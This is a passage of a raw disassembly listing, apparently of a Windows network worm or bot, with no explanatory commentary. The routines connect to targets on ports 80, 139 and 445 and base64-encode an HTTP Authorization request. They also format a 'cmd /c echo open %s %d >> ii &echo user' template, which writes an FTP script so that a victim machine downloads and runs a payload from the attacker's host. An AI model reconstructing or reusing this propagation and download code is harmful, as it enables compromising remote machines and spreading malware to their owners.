[ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43ADB0 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43AD94 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43ADE8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_436EEC push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_436EDC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43ADE8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F674 push eax push eax push dword_436F0C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43AD98 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43ADD8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43AE30 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 26207A4h loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_4CDCAC, 1 jnz short loc_40483C or byte_4CDCAC, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_436EF8, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2660000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0D4h ; Ô db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 